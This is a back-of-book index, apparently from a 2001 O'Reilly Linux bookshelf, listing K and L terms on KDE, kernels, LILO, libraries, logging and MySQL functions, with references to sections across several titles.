16.3.4.1. Keyboard (Linux in a Nutshell)
16.3.7.1. Advanced (Linux in a Nutshell)
kfm (KDE file manager): 16.1.2. kfm--the KDE File Manager (Linux in a Nutshell)
configuration settings for: 16.3.1.2. File manager (Linux in a Nutshell)
cookie management: 16.3.1.3. Web browser (Linux in a Nutshell)
disk navigator and: 16.3.1.4. Panel (Linux in a Nutshell)
web browsing functionality: 16.3.1.3. Web browser (Linux in a Nutshell)
kghostview utility: 11.4.8. Ghostview: Displaying PostScript (Running Linux)
kwm (KDE window manager): 16.2.1. The Desktop Pager and Window List (Linux in a Nutshell)
kwm window manager: 11.3. The K Desktop Environment (Running Linux)
language settings: 16.3.2.8. Language (Linux in a Nutshell)
login manager: 16.3.1.1. Login manager (root only) (Linux in a Nutshell)
mouse settings: 16.3.4. Input Devices (Linux in a Nutshell)
16.3.4.2. Mouse (Linux in a Nutshell)
16.3.7.3. Mouse (Linux in a Nutshell)
panel: 16.2. The Panel and Taskbar (Linux in a Nutshell)
adding application links to: 16.2.3. Adding an Application Link to the Panel (Linux in a Nutshell)
configuration settings for: 16.3.1.4. Panel (Linux in a Nutshell)
running applications on: 16.2.4. Running an Application on the Panel (Linux in a Nutshell)
screensavers: 16.3.2.9. Screensaver (Linux in a Nutshell)
taskbar: 16.2.2. The Taskbar (Linux in a Nutshell)
theme manager: 16.3.2.7. Theme manager (Linux in a Nutshell)
titlebars: 16.3.7. Window Behavior (Linux in a Nutshell)
tooltips, displaying: 16.3.1.4. Panel (Linux in a Nutshell)
virtual desktops: 16.2.1. The Desktop Pager and Window List (Linux in a Nutshell)
16.3.1.4. Panel (Linux in a Nutshell)
window focus settings: 16.3.7.4. Properties (Linux in a Nutshell)
window list: 16.2.1. The Desktop Pager and Window List (Linux in a Nutshell)
kdeadmin package: 11.3.1. Installing KDE (Running Linux)
kdebase package: 11.3.1. Installing KDE (Running Linux)
kdegames package: 11.3.1. Installing KDE (Running Linux)
kdegraphics package: 11.3.1. Installing KDE (Running Linux)
kdehelp system: 11.4.9. xman: A Point-and-Click Interface to Manual Pages (Running Linux)
kdelibs package: 11.3.1. Installing KDE (Running Linux)
.kdelink file: 11.3.2. Using KDE (Running Linux)
.kdelnk files: 16.1.4. The Desktop Folder and kdelnk Files (Linux in a Nutshell)
disk navigator and: 16.3.1.4. Panel (Linux in a Nutshell)
kdemultimedia package: 11.3.1. Installing KDE (Running Linux)
kdenetwork package: 11.3.1. Installing KDE (Running Linux)
kdesupport package: 11.3.1. Installing KDE (Running Linux)
kdeutils package: 11.3.1. Installing KDE (Running Linux)
KeepAlive directive: 3.4.14. KeepAlive (Apache: The Definitive Guide)
4.6.5.1. nokeepalive (Apache: The Definitive Guide)
keepalive value (Samba): 12.1.3.2. Configuring Samba (Running Linux)
keepalive_timeout( ): 14.6.16. Timeout and Alarm Functions (Apache: The Definitive Guide)
KeepAliveTimeout directive: 3.4.15. KeepAliveTimeout (Apache: The Definitive Guide)
Kerberos 4 server repository locator: 14.4.1. Repository Locators (Linux in a Nutshell)
kernel: 1. Introduction to Linux (Running Linux)
1.2. A Brief History of Linux (Running Linux)
1.4.3. Kernel (Running Linux)
backing up: 8.1.1. Simple Backups (Running Linux)
boot messages: 5.3.1. Kernel Boot Messages (Running Linux)
building: 7.4.2. Building the Kernel (Running Linux)
hardware and: 7.4.2. Building the Kernel (Running Linux)
IRQ configuration: 3.3.2.1. Isolating hardware problems (Running Linux)
LILO option: G.3. Kernel Options (Running Linux)
loadable device drivers: 7.5. Loadable Device Drivers (Running Linux)
loading onto Alpha system: C.6.4. Loading Milo and the Linux Boot Kernel (Running Linux)
obtaining by FTP: A.4. General Software FTP Sites (Running Linux)
obtaining sources for: 7.4.1. Obtaining Kernel Sources (Running Linux)
panic message: 5.2.1. Using a Boot Floppy (Running Linux)
patches for: 7.4.1. Obtaining Kernel Sources (Running Linux)
7.4.1.2. Applying patches (Running Linux)
PowerPC installations: D.2. Kernel and Library Issues (Running Linux)
rebuilding: 7.4. Building a New Kernel (Running Linux)
tuning on Alpha systems: C.7.1. Kernel Tuning (Running Linux)
version numbers: 1.4.1. A Note on Linux Version Numbers (Running Linux)
7.4. Building a New Kernel (Running Linux)
kernel modules: 3.1.1. Booting Linux (Running Linux)
"kernel too big" error: 7.4.2. Building the Kernel (Running Linux)
kerneld daemon: 7.6. Loading Modules Automatically (Running Linux)
kernels: 1.1. The Excitement of Linux (Linux in a Nutshell)
administration commands for: 2.1.8. Managing the Kernel (Linux in a Nutshell)
boot-time options: 4.5. Boot-time Kernel Options (Linux in a Nutshell)
IP firewalling/masquerading: 2.4. Overview of Firewalls and Masquerading (Linux in a Nutshell)
ipfwadm and: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
iptables and: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
modular: 4.6. initrd: Using a RAM Disk (Linux in a Nutshell)
printing exported symbols: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
setting video mode: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
key( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
key bindings: 7.7. Built-in Commands (Linux in a Nutshell)
key escrow system: 13.5.2. National Security (Apache: The Definitive Guide)
key exchange: D.1.1. Authentication and Key Exchange (Apache: The Definitive Guide)
key mappings, KDE: 16.3.5.1. Global keys (Linux in a Nutshell)
key-value pairs
joining with ampersand ( & ): 4.1. Sending Data to the Server (CGI Programming with Perl)
MLDBM module and: 10.2.2. MLDBM (CGI Programming with Perl)
keyboard
dumpkeys command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
GNOME settings: 15.4.5.1. Keyboard (Linux in a Nutshell)
KDE settings: 16.3.4.1. Keyboard (Linux in a Nutshell)
16.3.7.1. Advanced (Linux in a Nutshell)
key repeat speed: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
mode: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
shortcuts (see shortcuts)
keyboard shortcuts: 4.6. Useful Keys and How to Get Them to Work (Running Linux)
4.8. Filename Expansion (Running Linux)
fvwm bindings: 11.2.2. More Customizations (Running Linux)
key bindings: 9.2.8. Tailoring Emacs (Running Linux)
Keyboard Shortcuts modules, KDE: 16.3.5. Keyboard Shortcuts (Linux in a Nutshell)
keybuffer option: 16.1.2. Command line variables (MySQL & mSQL)
key_buffer variable: 4.6. Performance Tuning (MySQL & mSQL)
keys, role in database performance: 4.6.1.1. Repairing damaged tables (MySQL & mSQL)
key/value pairs
DBM files: 2.7. DBM Files and the BerkeleyDatabase Manager (Programming the Perl DBI)
2.7.3. Inserting and Retrieving Values (Programming the Perl DBI)
handle attribute values: 6.1. Handle Attributes and Metadata (Programming the Perl DBI)
keyword strings: 14.2.7. Revision Control Tools--RCS (Running Linux)
keyword substitutions, CVS: 14.4.6.2. Keyword substitutions (Linux in a Nutshell)
keywords, case sensitivity: 6.1.2. The Design of SQL (MySQL & mSQL)
keywords, RCS: 14.8.1. Keyword Substitution (Linux in a Nutshell)
kfm browser: 16.1.1. Using Netscape Navigator (Running Linux)
kfm (KDE file manager) (see KDE, kfm)
kghostview utility: 11.4.8. Ghostview: Displaying PostScript (Running Linux)
Kids attribute: 5.1.5. Deallocating Statement Handles (Programming the Perl DBI)
A.5. Attributes Common to All Handles (Programming the Perl DBI)
kill( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
kill command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
4.11. Putting a Command in the Background (Running Linux)
4.18. Processes (Running Linux)
kill command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
kill command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
kill function: 15.2.3. Is It Open? (CGI Programming with Perl)
kill ID1,ID2, . . .,IDn command: 4.4.1.6. Command line options for mysqladmin (MySQL & mSQL)
kill ring: 9.2.4. Deleting, Copying, and Moving Text (Running Linux)
11.4.7. Emacs (Running Linux)
KILL statement: 15.1. MySQL SQL (MySQL & mSQL)
kill thread-id command: 17.1. MySQL Utilities (MySQL & mSQL)
kill utility: 2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
2.4.3. Several Copies of Apache (Apache: The Definitive Guide)
killall5 command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
kill_cleanup( ): 14.6.4. Cleanup Functions (Apache: The Definitive Guide)
kill_cleanups_for_fd( ): 14.6.4. Cleanup Functions (Apache: The Definitive Guide)
killing processes: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
kill_thread( ): 14.6.9.4. Thread Functions (Apache: The Definitive Guide)
kill_timeout( ): 14.6.16. Timeout and Alarm Functions (Apache: The Definitive Guide)
Kimball, Spencer: B.2. A Brief History of the GNOME Project (Running Linux)
Klein, Robert: 7.5. Beagle (MySQL & mSQL)
klogd command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
KLyX package: 9.3.4. Word Processors (Running Linux)
korganizer package: 11.3.1. Installing KDE (Running Linux)
Kosut, Alexei: C. NCSA and Apache Compatibility (Apache: The Definitive Guide)
kpanel program: 16.2. The Panel and Taskbar (Linux in a Nutshell)
ksh (Korn shell): 4.5. Shells (Running Linux)
ksyms command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
kwm (KDE window manager): 16.2.1. The Desktop Pager and Window List (Linux in a Nutshell)
kwm window manager: 11.3. The K Desktop Environment (Running Linux)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: L

-log option: 4.4.1.4. Server status (MySQL & mSQL)
l command (sed): 12.5. Alphabetical Summary of sed Commands (Linux in a Nutshell)
-l flag (httpd/apache): 2.2. Apache's Flags (Apache: The Definitive Guide)
label= option (LILO): G.2. Image Options (Running Linux)
LAN (local area network): 15.1. Networking with TCP/IP (Running Linux)
NFS and NIS: 15.4. NFS and NIS Configuration (Running Linux)
language for KDE: 11.3.2. Using KDE (Running Linux)
language negotiation: 6.3. Language Negotiation (Apache: The Definitive Guide)
modules for: 12.6. Languages and Internationalization (Apache: The Definitive Guide)
language settings, KDE: 16.3.2.8. Language (Linux in a Nutshell)
LanguagePriority property: 6.3.1. LanguagePriority (Apache: The Definitive Guide)
languages (see programming languages)
lan_setup script: 9.3. Setup (Apache: The Definitive Guide)
last( ) method: 22. JDBC Reference (MySQL & mSQL)
last date modified
Last-modified field: 2.4.2.6. Last-Modified (CGI Programming with Perl)
web page, displaying with SSI: 6.2. Server Side Includes (CGI Programming with Perl)
last keyword: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
lastlog command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
lastlog file: 8.3. Managing System Logs (Running Linux)
LAST_MODIFIED variable: 6.2.3. Environment Variables (CGI Programming with Perl)
in files including other files: 6.2.5. Including Boilerplates (CGI Programming with Perl)
LaTeX: 9.3.1.1. Learning the ropes (Running Linux)
9.3.1.1. Learning the ropes (Running Linux)
(see also TeX)
launcher icons
adding applications to GNOME panel: 15.2.2. Adding an Application Launcher to the Panel (Linux in a Nutshell)
adding to GNOME desktop: 15.1.1. Adding Desktop Icons (Linux in a Nutshell)
layers (storage managers): 2.1. Storage Managers and Layers (Programming the Perl DBI)
LCASE( ) function: 15.1. MySQL SQL (MySQL & mSQL)
ld (link editor): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ldconfig command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
7.2.1. Upgrading Libraries (Running Linux)
7.2.1. Upgrading Libraries (Running Linux)
ldd command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ldd utility: 7.2.1. Upgrading Libraries (Running Linux)
13.1.7.1. Creating shared libraries (Running Linux)
LDP (Linux Documentation Project): A. Sources of Linux Information (Running Linux)
A.2. Linux Documentation Project Manuals (Running Linux)
0.1. Why People Like Linux (Running Linux)
0.1. Why People Like Linux (Running Linux)
1.10.2. Books and Other Published Works (Running Linux)
ld.so.cache file: 7.2.1. Upgrading Libraries (Running Linux)
ld.so.conf file: 7.2.1. Upgrading Libraries (Running Linux)
LEAST( ) function: 15.1. MySQL SQL (MySQL & mSQL)
LEFT( ) function: 15.1. MySQL SQL (MySQL & mSQL)
legal issues: 13.5. Legal Issues (Apache: The Definitive Guide)
LENGTH( ) function: 15.1. MySQL SQL (MySQL & mSQL)
length( ) method: 22. JDBC Reference (MySQL & mSQL)
length command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
length, HTTP message content: 2.3.2.2. Content-Length (CGI Programming with Perl)
2.4.2.2. Content-Length (CGI Programming with Perl)
< (less than): 4.9. Saving Your Output (Running Linux)
in HTML: 16.1.4.6. More HTML features (Running Linux)
less command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
4.4.3. Viewing Files, More or Less (Running Linux)
less than (<): 4.9. Saving Your Output (Running Linux)
in HTML: 16.1.4.6. More HTML features (Running Linux)
let command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
level numbers: 6.4. Type Maps (Apache: The Definitive Guide)
lexical variables
in Embperl module: 6.4.2.2. Variable scope (CGI Programming with Perl)
mod_perl, problems with: 17.3.2. mod_perl Considerations (CGI Programming with Perl)
lf variable (printcap): 8.4.5.3. The rest of the printcap variables (Running Linux)
lgn command (CVS) (see login command (CVS))
<li> HTML tag: 16.1.4.6. More HTML features (Running Linux)
/lib directory: 8.6.2. Accessing Damaged Files (Running Linux)
Libart engine for GNOME: B.5.1.4. The Canvas/Libart engines (Running Linux)
libc library, upgrading: 7.2.1. Upgrading Libraries (Running Linux)
7.2.1. Upgrading Libraries (Running Linux)
libnsl: 15.4.2. Configuring NIS (Running Linux)
libpng, using with gd: 13.3.1. Installation (CGI Programming with Perl)
libraries
generating: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
linking with: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
programming: 13.1.1. Quick Overview (Running Linux)
13.1.7. More Fun with Libraries (Running Linux)
shared: 8.6.2. Accessing Damaged Files (Running Linux)
13.1.7.1. Creating shared libraries (Running Linux)
Sun SPARC systems: F.2. System Libraries (Running Linux)
upgrading: 7.2.1. Upgrading Libraries (Running Linux)
viewing contents of: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
libraries, specifying Perl with use statement: 10.4.1.1. Connecting to DBI (CGI Programming with Perl)
LIBRARY_PATH environment variable: 13.1.7.1. Creating shared libraries (Running Linux)
libwww-perl (see LWP)
client app: 4.5.2.3. Client applications (MySQL & mSQL)
license, Apache: 0.1. Who Wrote Apache, and Why? (Apache: The Definitive Guide)
licenses: 1.5. Sources and Licenses (Linux in a Nutshell)
1.6. About Linux's Copyright (Running Linux)
2.1.1. Getting Linux via Mail Order or Other Hard Media (Running Linux)
Netscape Navigator: 16.1.1. Using Netscape Navigator (Running Linux)
X Window System: 10. Installing the X Window System (Running Linux)
LIKE clauses: 5.2. mSQL Versions (MySQL & mSQL)
LIKE comparison operator: 3.3.2. Queries and Condition Clauses (Programming the Perl DBI)
lilo command: 4.2. LILO: The Linux Loader (Linux in a Nutshell)
options: 4.2.2. The lilo Command (Linux in a Nutshell)
LILO (Linux Loader): 1.4. What This Book Offers (Linux in a Nutshell)
4.2. LILO: The Linux Loader (Linux in a Nutshell)
3.1.1. Booting Linux (Running Linux)
3.1.7. Creating the Boot Floppy or Installing LILO (Running Linux)
3.3.4.2. Problems booting Linux from the hard drive (Running Linux)
5.2.2. Using LILO (Running Linux)
boot and command options: G. LILO Boot Options (Running Linux)
configuration file: 4.2.1. The LILO Configuration File (Linux in a Nutshell)
global options: 4.2.1.1. Global options (Linux in a Nutshell)
image options: 4.2.1.2. Image options (Linux in a Nutshell)
kernel options: 4.2.1.3. Kernel options (Linux in a Nutshell)
configuring: 5.2.2.1. The /etc/lilo.conf file (Running Linux)
removing: 5.2.2.4. Removing LILO (Running Linux)
as secondary boot loader: 5.2.2.2. Using LILO as a secondary boot loader (Running Linux)
specifying hard drive geometry: 3.3.2.2. Problems recognizing hard drive or controller (Running Linux)
lilo.conf file: 5.2.2.1. The /etc/lilo.conf file (Running Linux)
limit command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
LIMIT rows, with SELECT statement: 15.1. MySQL SQL (MySQL & mSQL)
line addresses (ex): 11.12.1. Options (Linux in a Nutshell)
line and point charts combination, creating with GD::Graph::linespoints module: 13.4.2. GD::Graph (CGI Programming with Perl)
line charts
creating with GD::Graph::lines module: 13.4.2. GD::Graph (CGI Programming with Perl)
three-dimensional, creating with GD::Graph::lines3d module: 13.4.3. GD::Graph3D (CGI Programming with Perl)
line-edit mode (bash): 7.6.1. Line-Edit Mode (Linux in a Nutshell)
line endings: 3.4.1. Check the Client Browser (CGI Programming with Perl)
(see also end-of-line characters, newlines)
CGI scripts, not matching current system: 15.1.3. Line Endings (CGI Programming with Perl)
differences in operating systems: 3.3.1.1. Outputting documents (CGI Programming with Perl)
newlines end of line character, binmode and: 3.4.1. Check the Client Browser (CGI Programming with Perl)
linear option (LILO): G.1. Global Options (Running Linux)
linefeed characters: 8.4.1. Checking Printer Hardware (Running Linux)
8.4.7. Print Filters (Running Linux)
lines, text
breaking: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
comparing: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
counting: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
merging into columns: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
printing: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
removing duplicate: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
searching: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
link( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
linker: 13.1.1. Quick Overview (Running Linux)
linkinfo( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
links (see symbolic links)
appending query strings containing session identifier to: 11.2. Hidden Fields (CGI Programming with Perl)
HTML documents
replacing: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
updating another document with: 5.3.1.4. Specifying an alternative target (CGI Programming with Perl)
symbolic: 4.4.4. Symbolic Links (Running Linux)
symbolic links, security risks with: 1.4.1.1. Configuring by directory (CGI Programming with Perl)
Web: 16.1. The World Wide Web (Running Linux)
16.1.1. Using Netscape Navigator (Running Linux)
16.1.4.3. Using links (Running Linux)
links, desktop (see desktop links)
Linux
advantages of: 0.1. Why People Like Linux (Running Linux)
1.8. Differences Between Linux and Other Operating Systems (Running Linux)
1.8.1. Why Use Linux? (Running Linux)
booting up: 3.1.1. Booting Linux (Running Linux)
3.3.4.1. Problems booting Linux from floppy (Running Linux)
5.1. Running the System (Running Linux)
5.2. Booting the System (Running Linux)
commands: 1.3. Commands on Linux (Linux in a Nutshell)
1.6. Beginner's Guide (Linux in a Nutshell)
cost of (see cost of Linux)
design and philosophy of: 1.7. Open Source and the Philosophy of Linux (Running Linux)
distributions
installation differences: 3.1.6. Installing the Software (Running Linux)
distributions of: 2.1. Distributions of Linux (Running Linux)
documentation (see documentation)
Documentation Project (see LDP)
dual booting with Windows systems: 4.2. LILO: The Linux Loader (Linux in a Nutshell)
4.4. Dual Booting Linux and Windows NT/2000 (Linux in a Nutshell)
features of: 1.4. System Features (Running Linux)
hardware requirements: 1.9. Hardware Requirements (Running Linux)
history of: 1. Introduction (Linux in a Nutshell)
0. Preface (Running Linux)
1.2. A Brief History of Linux (Running Linux)
installing: 2.2. Preparing to Install Linux (Running Linux)
3.1. Installing the Linux Software (Running Linux)
Alpha systems: C.3. Identifying Your Alpha System (Running Linux)
C.3. Identifying Your Alpha System (Running Linux)
C.6. Installing Linux (Running Linux)
Motorola 68000-series systems: E. Installing Linux/m68k on Motorola 68000-Series Systems (Running Linux)
Sun SPARC systems: F. Installing Linux on Sun SPARC Systems (Running Linux)
tasks immediately after: 3.2. Post-Installation Procedures (Running Linux)
troubleshooting: 3.3. Running Into Trouble (Running Linux)
kernel (see kernel)
partition requirements: 2.2.3. Linux Partition Requirements (Running Linux)
performance of (see performance)
shutting down: 3.2.4. Shutting Down the System (Running Linux)
5.3.3. rc files (Running Linux)
5.5. Shutting Down the System (Running Linux)
single-user mode: 5.2.2.3. Specifying boot time options (Running Linux)
5.4. Single-User Mode (Running Linux)
Software Map (LSM): A.1. Online Documents (Running Linux)
source code: 1.5. Sources and Licenses (Linux in a Nutshell)
linux command, boot-time parameters: 3.1.1. Booting Linux (Running Linux)
Linux Documentation Project: 0.1.1. Online Documentation (Linux in a Nutshell)
Linux Journal: 0.1.2. Linux Journal and Linux Magazine (Linux in a Nutshell)
1.10.2. Books and Other Published Works (Running Linux)
Linux Magazine: 0.1.2. Linux Journal and Linux Magazine (Linux in a Nutshell)
1.10.2. Books and Other Published Works (Running Linux)
Linux User Groups (LUG): 0.1.5. Linux User Groups (Linux in a Nutshell)
Linux/m68k: E. Installing Linux/m68k on Motorola 68000-Series Systems (Running Linux)
booting: E.4.1. Booting Linux (Running Linux)
hardware: E.2. Supported Hardware (Running Linux)
partitions and filesystems: E.4.2. Partitioning and Filesystems (Running Linux)
X Window System: E.4.3. The X Window System (Running Linux)
LinuxPPC: D. LinuxPPC: Installing Linux on PowerPC Computers (Running Linux)
hardware: D.1. Compatible Hardware (Running Linux)
hardware concerns: D.6. Getting Hardware to Do What You Want It to Do (Running Linux)
kernel and library concerns: D.2. Kernel and Library Issues (Running Linux)
preparing to boot: D.3. Preparing to Boot LinuxPPC (Running Linux)
Red Hat Installer: D.4. Using the Red Hat Installer (Running Linux)
LISP language: 13.7. Other Languages (Running Linux)
list command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
list command (gdb): 14.1.1. Tracing a Program (Running Linux)
list context, scalar context vs.: 2.4.2.4. Date (CGI Programming with Perl)
list-faces-display command (Emacs): 11.4.7. Emacs (Running Linux)
listdbs function: 21.3. Msql.pm API (MySQL & mSQL)
Listen directive: 3.8.4. Port-Based Virtual Hosting (Apache: The Definitive Guide)
3.9.3. Listen (Apache: The Definitive Guide)
ListenBacklog directive: 3.9.4. ListenBacklog (Apache: The Definitive Guide)
listfields function: 21.3. Msql.pm API (MySQL & mSQL)
listflags variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
listindex function: 21.3. Msql.pm API (MySQL & mSQL)
listing files: 4.4.2. Listing Files (Running Linux)
listjobs variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
listlinks variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
listmax variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
listmaxrows variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
lists
choices for users: 4.2.4. The <SELECT> Tag (CGI Programming with Perl)
elements: 6.4.3.2. List elements (CGI Programming with Perl)
empty lists, use of: 15.2.1. Use strict (CGI Programming with Perl)
printing multiple items in: 5.3.3. Standard HTML Elements (CGI Programming with Perl)
user input, allowed: 8.2.3. Security Strategies (CGI Programming with Perl)
lists in HTML: 16.1.4.6. More HTML features (Running Linux)
listtables function: 21.3. Msql.pm API (MySQL & mSQL)
Lite: 18.1. PHP (MySQL & mSQL)
(see also PHP)
example: 12.2.3. W3-mSQL Example (MySQL & mSQL)
HTML and: 12.2.3. W3-mSQL Example (MySQL & mSQL)
scripting with: 12. PHP and Other Support for Database-driven HTML (MySQL & mSQL)
literal= option: G.3. Kernel Options (Running Linux)
ln command: 3.2. Butterthlies, Inc., Gets Going (Apache: The Definitive Guide)
3.11.1. FollowSymLinks, SymLinksIfOwnerMatch (Apache: The Definitive Guide)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
4.4.4. Symbolic Links (Running Linux)
6.3. Device Files (Running Linux)
7.2.1. Upgrading Libraries (Running Linux)
lo command (CVS) (see log command (CVS))
LOAD statement: 15.1. MySQL SQL (MySQL & mSQL)
load, system (see performance)
loadable device drivers: 7.5. Loadable Device Drivers (Running Linux)
loadable module support: 7.4.2. Building the Kernel (Running Linux)
loader= option (LILO): G.2. Image Options (Running Linux)
loaders, boot: 4.1. The Boot Process (Linux in a Nutshell)
loading modules: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
unloading: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
loading modules automatically: 7.6. Loading Modules Automatically (Running Linux)
Loadlin: 1.4. What This Book Offers (Linux in a Nutshell)
booting from MS-DOS: 4.3. Loadlin: Booting from MS-DOS (Linux in a Nutshell)
options: 4.3.2. Putting Parameters on the Command Line (Linux in a Nutshell)
loads.cgi script, plotting average system loads: 13.3.2. Using GD (CGI Programming with Perl)
LOB (large object) datatype: 6.2. Handling LONG/LOB Data (Programming the Perl DBI)
local bus architecture: 1.9.1. Motherboard and CPU Requirements (Running Linux)
local command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
local directory: 4.16. Important Directories (Running Linux)
local function: 5.3.3. Standard HTML Elements (CGI Programming with Perl)
17.1.3. Localize Variables with my (CGI Programming with Perl)
local networks: 2.4.5. A Local Network (Apache: The Definitive Guide)
local processes as clients: 14.1. Communicating with Other Servers (CGI Programming with Perl)
local repository locator: 14.4.1. Repository Locators (Linux in a Nutshell)
local variables
bracket pair enclosing in Embperl: 6.4.2.1. Embperl code blocks (CGI Programming with Perl)
declarations, strict mode and: 15.2.1. Use strict (CGI Programming with Perl)
localizing variables: 17.1.3. Localize Variables with my (CGI Programming with Perl)
LOCATE( ) function: 15.1. MySQL SQL (MySQL & mSQL)
locate command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
locating perl, Unix system: 15.1.2. The Pound-Bang (CGI Programming with Perl)
Location header: 4.2. Writing and Executing Scripts (Apache: The Definitive Guide)
4.4. Useful Scripts (Apache: The Definitive Guide)
2.4.2.7. Location (CGI Programming with Perl)
300-level status responses and: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
redirect method, using instead of: 5.3.1.5. Redirection (CGI Programming with Perl)
redirecting requests: 3.3.1.2. Forwarding to another URL (CGI Programming with Perl)
Location HTTP header: 9.3.6. Standard Output (MySQL & mSQL)
lock option (LILO): G.2. Image Options (Running Linux)
lock parameter (linux): 3.1.1. Booting Linux (Running Linux)
LOCK statement: 15.1. MySQL SQL (MySQL & mSQL)
$Locker keyword (RCS): 14.8.1.1. Keywords (Linux in a Nutshell)
lockfile command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
LockFile directive: 3.4.13. LockFile (Apache: The Definitive Guide)
locking files: 6.4.5.1. Embperl handler (CGI Programming with Perl)
10.1.1. Locking (CGI Programming with Perl)
15.2.5. File Locking (CGI Programming with Perl)
14.2.7. Revision Control Tools--RCS (Running Linux)
(see also revision control)
Elm: 16.2.4.1. Preparing for installation (Running Linux)
flock command, using: 10.1.1.1. flock (CGI Programming with Perl)
hash files: 10.2.1. DB_File (CGI Programming with Perl)
manual lock files: 10.1.1.2. Manual lock files (CGI Programming with Perl)
locking model, CVS/RCS utilities: 14.1.1. Locking and Merging (Linux in a Nutshell)
LOG10( ) function: 15.1. MySQL SQL (MySQL & mSQL)
log command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
log command (CVS): 14.4.7.12. log (Linux in a Nutshell)
date range specifications: 14.4.7.12. log (Linux in a Nutshell)
log command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
log files, rotating: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
logas( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
LogFormat directive: 11.5.3. LogFormat (Apache: The Definitive Guide)
logged-in users, report on: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
logger command (TCP/IP): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
logging: 11.5. Logging the Action (Apache: The Definitive Guide)
API functions for: 14.6.20. Logging Functions (Apache: The Definitive Guide)
CGI script information: 4.3.3. ScriptLog (Apache: The Definitive Guide)
cookies: 5.10.3. CookieLog (Apache: The Definitive Guide)
example: 11.5.5. site.authent--Another Example (Apache: The Definitive Guide)
format of log files: 11.5.3. LogFormat (Apache: The Definitive Guide)
logs directory: 1.1. How Does Apache Work? (Apache: The Definitive Guide)
module for: 15.3.18. Logger (Apache: The Definitive Guide)
sample Apache log: E. Sample Apache Log (Apache: The Definitive Guide)
SSL activity: 13.7.15. CustomLog (Apache: The Definitive Guide)
URL substitutions: 8.8.2. RewriteLog (Apache: The Definitive Guide)
logging in: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.3.4.3. Problems logging in (Running Linux)
4.1. Logging In (Running Linux)
from terminals: 5.3.3. rc files (Running Linux)
logical modules (CVS): 14.3.3.9. The modules file (Linux in a Nutshell)
logical operators: 3.3.2. Queries and Condition Clauses (Programming the Perl DBI)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
precedence: 3.3.2. Queries and Condition Clauses (Programming the Perl DBI)
logical partitions: 2.2.2. Repartitioning Concepts (Running Linux)
2.2.2. Repartitioning Concepts (Running Linux)
Logical Unit Number (LUN): 3.1.1. Booting Linux (Running Linux)
